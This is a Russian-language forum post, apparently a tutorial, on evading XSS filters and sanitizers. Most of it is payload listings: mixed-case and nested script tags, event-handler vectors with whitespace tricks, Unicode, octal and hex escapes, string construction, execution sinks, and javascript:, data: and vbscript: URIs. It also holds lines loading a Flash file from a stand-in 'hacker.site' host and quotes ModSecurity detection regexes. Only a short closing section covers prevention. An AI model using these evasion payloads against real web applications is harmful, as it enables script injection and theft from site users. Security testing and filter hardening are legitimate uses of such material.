Vander
Staff member
- Nov 10, 2019
- 468
- 1,156
Атаки с использованием межсайтовых сценариев (XSS) - это тип внедрения, при котором вредоносные скрипты вводятся на веб-сайты, заслуживающие доверия. Недостатки, которые позволяют этим атакам быть успешными, являются общими и могут быть обнаружены всякий раз, когда веб-приложение принимает вводимые пользователем данные в свой вывод без проверки или кодирования.
Многие исследователи безопасности создали руководства и шпаргалки, чтобы помочь специалистам по безопасности в тестировании проблем межсайтового скриптинга.
Самая известная из них - «XSS Filter Evasion Cheat Sheet», выпущенная RSnake и переданная в дар OWASP. Шпаргалка по безопасности HTML5 от Cure53 - еще одна интригующая инициатива.
В этой статье мы не будем анализировать векторы, указанные в шпаргалке, один за другим, а скорее определим, какие из них являются возможными сценариями, с которыми мы можем столкнуться, и как их преодолеть.
Наиболее распространенные сценарии, с которыми вы столкнетесь:
- Вектор XSS заблокирован приложением или чем-то еще.
- Вектор XSS санитизируется.
- Вектор XSS фильтруется или блокируется браузером.
Обход Blacklisting Filters
Blacklisting Filters часто используются из-за простоты установки. Его задача - выявлять определенные закономерности и предотвращать злонамеренное поведение. Все сводится к «шаблонам», и чем они точнее, тем чаще они предотвращают атаки.
Внедрение кода скрипта
Тег <script> - это основной метод выполнения кода сценария на стороне клиента, такого как JavaScript.
Обход слабого запрета на использование тегов <script>
Возможно, фильтры слабые и не охватывают все возможные случаи, что позволяет их обойти. Ниже приведены лишь несколько примеров того, как обойти слабые правила.
Code:
<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)
Например, вот как ModSecurity фильтрует тег <script>:
SecRule ARGS
Code:
"(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)"
Code:
<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
Code:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>
-
evilcos/xss.swf
a tiny tool for swf hacking, just browse it:). Contribute to evilcos/xss.swf development by creating an account on GitHub.github.com
Почти все идентификаторы обработчиков событий начинаются с «on» и сопровождаются именем события.
Onerror - один из наиболее часто используемых:
Code:
<img src=x onerror=alert(1)>
Ниже приведены некоторые примеры тегов HTML 4:
Code:
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
Code:
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
Это очень распространенное регулярное выражение, с которым вы можете столкнуться:
Code:
(on\w+\s*=)
Code:
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
Code:
(?i)([\s\"';\/0-9\=]+on\w+\s*=)`
Вот некоторые обходные пути:
Code:
<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>
Code:
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
Вы можете запустить его в своем браузере или просмотреть результаты ранее проверенных браузеров.
Действующее правило регулярного выражения должно быть следующим:
Code:
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C
\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3
B]*?=)
Другие проблемы, которые может доставить фильтр на основе сигнатур, включают ограничение выполнения кода сценария путем блокировки использования определенных ключевых слов, таких как alert, javascript, eval и т. Д.
Экранирование символов
В JavaScript есть несколько типов escape-символов, которые позволяют нам выполнять код, а не обрабатывать его в буквальном виде.
Давайте представим, что нам нужно обойти фильтр, который предотвращает использование ключевого слова alert в следующих сценариях.
Экранирование символов > Unicode
Code:
<script>alert(1)</script> Alert(1) <— Blocked
Code:
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
Code:
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
Если отфильтрованный вектор находится в строке, помимо Unicode, мы можем использовать несколько экранирований:
Code:
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/>
- eval(‘\141lert(1) ’) <—– Octal escaping
- eval(‘\x61lert(1)’) <—– Hexadecimal escaping
Code:
<img src=x onerror="alert(1)"/>
<img src=x onerror="alert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/>
- a <—– Hexadecimal Numeric Character
- a <—— Decimal NCR
- '\a\l\ert(1\ <—— Superfluous Escapes Character
Code:
<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>
Чтобы обойти фильтры, вам нужно уметь строить строки.
Например, ключевое слово alert ограничено как обычно, но «ale» + «rt», скорее всего, не распознается. Давайте посмотрим на несколько примеров.
В JavaScript есть несколько функций, полезных для создания строк.
Code:
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)
Ранее мы использовали функцию eval для запуска кода, а также событий, связанных с различными тегами. Execution Sinks - это функции, которые анализируют строку в код JavaScript, а JavaScript предоставляет различные варианты.
Причина, по которой нам нужно смотреть на эти функции, заключается в том, что если мы можем управлять одной из них, мы можем запускать код JavaScript.
Ниже приведены несколько примеров:
Code:
setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers
Code:
[]. constructor.constructor(alert(1))
Code:
.[] <—— Object
.constructor <——Array
.constructor <—— Function
(alert(1)) <—— XSS Vector
Javascript - это псевдопротокол, который относится к «неофициальной схеме URI». Вызов кода JavaScript из ссылки полезен. Большинство фильтров распознают ключевое слово javascript, за которым следует символ двоеточия, как частый шаблон:
Code:
a href="javascript:alert(1)">
- Обратите внимание, что javascript: не требуется для обработчиков событий, поэтому мы не должны его использовать. Мы можем использовать все предыдущие варианты, потому что псевдопротокол часто вводится внутри строки.
Code:
<object data=“javascript:alert(1)”>
Code:
<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object
data="javascript:alert(1)">
Посмотрим, как они работают.
Небольшие элементы данных, предоставляемые с различными типами носителей, могут быть включены в схему URI данных. Вот как выглядит структура:
Code:
data:[<mediatype>]
[;base64],<data>
Если javascript: заблокирован:
Code:
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
- PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <—– Base64 Encoded
Code:
<embed code="data:text/html,<script>alert(1)</script>">
- data: <—— Blocked
Code:
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
Чтобы вызвать VBScript, мы можем использовать vbscript :, а также vbs:
Code:
<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>
Code:
<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>
Code:
<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">
Вместо того, чтобы блокировать весь запрос, системы безопасности часто предпочитают дезинфицировать подозрительные векторы XSS. Скорее всего, это те фильтры, с которыми мы столкнемся во время наших экспериментов.
Чаще всего используется HTML-кодирование некоторых важных символов, таких как (<),> (>) и т. Д. Этого не всегда достаточно, потому что это зависит от того, куда вставляются ненадежные данные на странице.
Манипуляции со строками
В некоторых случаях фильтр может изменить ваш вектор, удалив опасные фразы. Например, удалите теги <script>.
Правило просто удаляет первый экземпляр совпадающего выражения, что является частой ошибкой при таком поведении.
Удаление HTML-тегов
Например, <script>alert (1)</script> правильно санитизируется для alert(1), но поскольку проверка не выполняется рекурсивно:
Code:
<scr<script> ipt>alert(1)</script>
Если фильтр запускает рекурсивные тесты, вы всегда должны проверять, можно ли его использовать. Вам может помочь изменение последовательности вставленных строк.
Давайте посмотрим на пример.
Вполне возможно, что рекурсивные тесты в порядке. Они начинаются с тега <script>, затем с следующего и так далее, не возвращаясь к началу, чтобы увидеть, есть ли еще опасные строки.
Следующий вектор может быть обходным:
Code:
<scr<iframe>ipt>alert(1)</script>
Все зависит от фильтра, с которым мы имеем дело.
Экранированные цитаты
Все дело в тегах HTML, а места внедрения часто находятся внутри строк в кавычках. Чтобы избежать этого типа символа, фильтры обычно помещают символ обратной косой черты () перед кавычками.
Чтобы избежать обхода, также необходимо избегать обратной косой черты. Рассмотрим следующий код, в котором мы можем управлять значением randomkey, но кавычки экранированы:
Code:
<script>var key = 'randomkey';</script>
Это потому, что приложение избегает апострофа, преобразуя наш ввод в randomkey \ 'alert (1); //.
Но это позволит избежать только обратной косой черты, что позволит нам завершить строку и ввести код предупреждения. Одним из полезных методов Javascript является String.fromCharCode (). Это позволяет нам генерировать строки, начиная с последовательности значений Unicode.
Мы также могли бы поиграть с методом unescape для экранирования сгенерированной строки. Например, мы могли бы экранировать строку с помощью метода .source.
Code:
unescape(/%78%u0073%73/.source)
В дополнение к этому есть методы decode URI и decodeURIComponent. В этом случае символы необходимо закодировать в URL-адресе, чтобы избежать ошибок неправильного формата URI.
Code:
decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source)
Помните, что каждый из них вернет строку, поэтому для запуска функции вам понадобится приемник выполнения (IE: eval).
Как предотвратить межсайтовый скриптинг в ваших приложениях
Сама по себе фильтрация явно не является решением, поскольку постоянно появляются сотни способов обойти фильтры и новые векторы. Фильтры не предотвращают XSS-атаки; скорее, они устраняют небольшую часть кодовых шаблонов, которые могут быть использованы в атаке.
Фактически, вместо того, чтобы блокировать вредоносный код, фильтрация решает неправильную проблему, пытаясь предотвратить любые вызовы, которые загружают сам плохой код.
Разработчики могут иметь значительно большее влияние на безопасность приложений и пользователей, чем любые фильтры, за счет разработки безопасного кода, неуязвимого для XSS-атак. Это может быть выполнено на уровне приложения с помощью соответствующего контекстно-зависимого экранирования и кодирования. Использование соответствующих заголовков безопасности HTTP на уровне протокола HTTP является основным оружием против межсайтового скриптинга.